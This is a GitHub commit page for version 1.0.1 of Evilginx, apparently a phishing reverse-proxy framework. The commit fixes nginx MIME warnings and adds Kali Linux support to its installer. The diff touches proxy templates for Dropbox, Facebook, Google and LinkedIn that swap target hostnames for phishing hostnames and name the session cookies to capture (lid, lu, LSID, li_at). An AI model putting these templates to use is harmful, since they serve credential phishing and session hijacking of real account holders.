Skip to content

Commit

Permalink
version 1.0.1 (2017-05-08):
Browse files Browse the repository at this point in the history
[+] Fixed '[warn] duplicate MIME type "text/html"' warnings in /var/log/nginx/error.log.
[+] Added Kali Linux compatibility to install.sh script.
  • Loading branch information
kgretzky committed May 8, 2017
1 parent ef39900 commit c13676a
Show file tree
Hide file tree
Showing 7 changed files with 12 additions and 7 deletions.
6 changes: 5 additions & 1 deletion CHANGELOG
Original file line number Diff line number Diff line change
@@ -1,4 +1,8 @@
version 1.0 :
version 1.0.1 (2017-05-08):
[+] Fixed '[warn] duplicate MIME type "text/html"' warnings in /var/log/nginx/error.log.
[+] Added Kali Linux compatibility to install.sh script.

version 1.0 (2017-04-26) :
[+] Created central script for handling setup, parsing and generating urls.
[+] Added install.sh script that will single-handedly install Evilginx package on Debian.
[+] Added support for adding external site templates in framework-like manner.
Expand Down
3 changes: 2 additions & 1 deletion install.sh
Original file line number Diff line number Diff line change
Expand Up @@ -24,8 +24,9 @@ if [ -z "$os_type" ]; then
[ -f /etc/lsb-release ] && os_type="$(. /etc/lsb-release && echo "$DISTRIB_ID")"
[ "$os_type" = "debian" ] && os_type=Debian
[ "$os_type" = "ubuntu" ] && os_type=Ubuntu
[ "$os_type" = "kali" ] && os_type=Kali
fi
if [ "$os_type" != "Ubuntu" ] && [ "$os_type" != "Debian" ] && [ "$os_type" != "Raspbian" ]; then
if [ "$os_type" != "Ubuntu" ] && [ "$os_type" != "Debian" ] && [ "$os_type" != "Raspbian" ] && [ "$os_type" != "Kali" ]; then
exiterr "This script only supports Ubuntu/Debian."
fi

Expand Down
2 changes: 1 addition & 1 deletion sites/dropbox/www.dropbox.com.conf
Original file line number Diff line number Diff line change
Expand Up @@ -30,7 +30,7 @@ server {
sub_filter '"{{TARGET_HOST[0]}}"' '"{{PHISH_HOSTNAME[0]}}"';
sub_filter '"dropbox.com"' '"{{PHISH_DOMAIN}}"';
sub_filter_once off;
sub_filter_types text/html application/json;
sub_filter_types application/json;

set $auth_token "lid";

Expand Down
2 changes: 1 addition & 1 deletion sites/facebook/m.facebook.com.conf
Original file line number Diff line number Diff line change
Expand Up @@ -27,7 +27,7 @@ server {
sub_filter '\\\\\\/\\\\\\/{{TARGET_HOST[1]}}' '\\\\\\/\\\\\\/{{PHISH_HOSTNAME[1]}}';
sub_filter 'https:\/\/{{TARGET_HOST[1]}}\/' 'https:\/\{{PHISH_HOSTNAME[1]}}\/';
sub_filter_once off;
sub_filter_types text/html application/json application/x-javascript;
sub_filter_types application/json application/x-javascript;

set $auth_token "lu";

Expand Down
2 changes: 1 addition & 1 deletion sites/facebook/www.facebook.com.conf
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ server {

sub_filter 'https://{{TARGET_HOST[0]}}/' 'https://{{PHISH_HOSTNAME[0]}}/';
sub_filter_once off;
sub_filter_types text/html application/json;
sub_filter_types application/json;

set $auth_token "lu";

Expand Down
2 changes: 1 addition & 1 deletion sites/google/accounts.google.com.conf
Original file line number Diff line number Diff line change
Expand Up @@ -27,7 +27,7 @@ server {
sub_filter '{{TARGET_HOST[1]}}' 'ssl.{{PHISH_DOMAIN}}';
sub_filter 'https://{{TARGET_HOST[0]}}/CheckCookie' 'https://{{PHISH_HOSTNAME[0]}}/CheckCookie';
sub_filter_once off;
sub_filter_types text/html application/json;
sub_filter_types application/json;

set $auth_token "LSID";

Expand Down
2 changes: 1 addition & 1 deletion sites/linkedin/www.linkedin.com.conf
Original file line number Diff line number Diff line change
Expand Up @@ -27,7 +27,7 @@ server {
sub_filter 'href="https://{{TARGET_HOST[0]}}' 'href="https://{{PHISH_HOSTNAME[0]}}';
sub_filter '//{{TARGET_HOST[0]}}/nhome/' '//{{PHISH_HOSTNAME[0]}}/nhome/';
sub_filter_once off;
sub_filter_types text/html application/json;
sub_filter_types application/json;

set $auth_token "li_at";

Expand Down

0 comments on commit c13676a

Please sign in to comment.